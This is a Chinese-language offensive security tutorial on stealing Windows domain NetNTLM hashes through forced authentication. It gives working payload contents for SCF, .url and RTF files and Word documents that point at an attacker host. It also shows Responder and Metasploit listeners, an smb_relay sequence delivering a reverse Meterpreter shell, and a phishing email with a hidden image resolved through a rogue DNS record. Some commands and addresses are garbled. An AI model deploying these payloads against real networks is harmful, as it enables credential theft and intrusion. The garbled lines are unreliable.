本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
1.0 前言
在拿下一台机器后一般都是直接抓取密码,其实我们可以通过一些域内水坑攻击了获取更多的哈希值。
2.0 SMB 共享– SCF 文件攻击
SMB 是一种协议,在组织中广泛用于文件共享。在内网渗透中,我们常常在文件共享中发现包含敏感信息(例如,纯文本密码和数据库连接字符串)的文件,虽然文件共享不包含任何可用于连接到其他系统的数据,但如果未经身份验证的用户配置了写权限,也可能会获得域用户的密码哈希或 Meterpreter Shell。
散列哈希
我们可以使用 SCF(Shell 命令文件)文件执行有限的一组操作(例如显示 Windows 桌面或打开 Windows 资源管理器)。但是,如果使用 SCF 文件访问特定的 UNC 路径,那么我们可以发起攻击。
我们可以所有以下代码保存为. scf 文件然后放进文件共享中。
[Shell]
Command=2
IconFile=\X.X.X.X\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
我这里使用
攻击机:kali 192.168.50.146
web 机:192.168.50.148 10.10.10.8
DC:10.10.10.10
保存为. scf 文件放在文件共享中
攻击机监听:
esponder -wrf --lm -v -I eth0
不用点击,只要访问到文件就能抓到 hash
当用户浏览共享时,将自动从他的系统建立到 SCF 文件中包含的 UNC 路径的连接。Windows 将尝试使用用户名和密码对共享进行身份验证。在该身份验证过程中,服务器会向客户端发送一个随机的 8 字节质询密钥,并使用此质询密钥再次加密散列的 NTLM
/ LANMAN 密码。我们将捕获 NTLMv2 哈希。
除了 esponder 之外,在 MSF 中也有相同的模块可用于捕获来自 SMB 客户端的挑战响应密码哈希。
auxiliary/server/capture/smb
设置好叁数后就可以了,当用户浏览相同共享时,Metasploit 将捕获其密码哈希。
Meterpreter shell
上面的技术的主要优点是不需要任何用户交互,并自动强制用户连接到不存在的共享进行 NTLMv2 哈希进行协商。我们也可以将该技术与 SMB 中继相结合,后者提供有效载荷,以便从将访问共享的每个用户那里获取一个 Meterpreter shell。
我们使用 exploit/windows/smb/smb_relay 模块
exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST xxxxxxx
exploit
将建立一个 SMB 服务器,该服务器将通过使用用户名和密码哈希与目标进行身份验证,在可写共享上交付有效负载,以用户的权利作为服务执行有效负载,执行清理并进行 Meterpreter 会话。
3.0 通过超链接
新建一个 word 文档,然后建立一个超链接
\192.168.50.146\newyork.exe
注意这里指向我们自己的 IP
可以加一些迷惑性的文字。
在 kali 中监听一下
responder -I eth0
当目标打开之后就可以获得 hash
我这里获取不到,但是我昨天还是可以的,,,,,
4.0 通过 URL
c:\link.url@victim
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\10.0.0.5%USERNAME%.icon
IconIndex=1
保存为. url 文件上传到目标中
在 kali 中监听一下
responder -I eth0
然后目标访问到即可拿到 hash
5.0 通过. RTF
file.rtf
{\rtf1{\field{*\fldinst {INCLUDEPICTURE "file://10.0.0.5/test.jpg" \* MERGEFORMAT\d}}{\fldrslt}}}
上传到目标中
在 kali 中监听一下
responder -I eth0
6.0 通过. xml 文件
MS Word 文档可以保存为. xml 文件
这可以利用其中一个标签请求文档的样式表 (第 3 行) 从攻击者控制服务器。受害者系统将分享其 NetNTLM 散列与攻击者试图验证攻击者的系统:
7.0 通过 IncludePicture 执行
新建一个 Word 文档, 插入一个新的 IncludePicture :
注意要改 ip 地址
只要目标启动即可拿到 hash
8.0 通过 HTTP 图像和内部 DNS
如果我们在网络中立足,可以执行以下操作:
在域内创建一个新的 DNS A 记录(任何经过身份验证的用户都可以做到),然后将其指向外部服务器
例如 offense.local1.1.1.1
可以使用 PowerMad
https://github.com/Kevin-Robertson/Powermad
Invoke-DNSUpdate -dnsname vpn -dnsda
在服务器 1.1.1.1 上,启动并侦听端口 80 上的 HTTP 连接
创建包含以下内容的网络钓鱼电子邮件
随意将图片设为 1x1 像素或隐藏
请注意,解析为我们的服务器,但仅来自域内部 http://vpn.offense.local1.1.1.1offense.local
将网络钓鱼发送到域中的目标用户 offense.local
网络钓鱼收件人查看电子邮件,该电子邮件会自动尝试从中加载图像,然后将其解析为(端口 80 上响应程序变亮的位置)http://vpn.offense.localhttp://1.1.1.1
那么我们无需目标用户交互即捕获 NetNLTMv2 哈希
参考
https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication#execution-via-hyperlink
https://www.bleepingcomputer.com/news/security/you-can-steal-windows-login-credentials-via-google-chrome-and-scf-files/
https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/
https://medium.com/@markmotig/a-better-way-to-capture-hashes-with-no-user-interaction-by-markmo-bd1569bfa208
https://bohops.com/2018/08/04/capturing-netntlm-hashes-with-office-dot-xml-documents/
https://www.securify.nl/blog/SFY20180501/living-off-the-land_-stealing-netntlm-hashes.html